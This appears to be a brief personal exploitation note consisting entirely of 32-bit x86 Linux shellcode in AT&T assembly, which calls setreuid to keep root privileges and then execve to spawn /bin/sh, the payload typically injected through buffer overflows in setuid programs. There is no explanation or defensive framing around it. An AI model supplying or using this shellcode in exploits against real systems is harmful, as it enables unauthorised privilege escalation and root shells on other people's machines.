Note of Exploiting
.global main
main:
    #setreuid
    xorl   %eax,   %eax
    xorl   %ebx,   %ebx
    xorl   %ecx,   %ecx
    mov    $70,    %al
    int    $0x80
    #execve
    pushl  %ebx
    pushl  $0x68732f2f
    pushl  $0x6e69622f
    movl   %esp,   %ebx
    pushl  %ecx
    pushl  %ebx
    movl   %esp,   %ecx
    xorl   %edx,   %edx
    mov    $11,    %al
    int    $0x80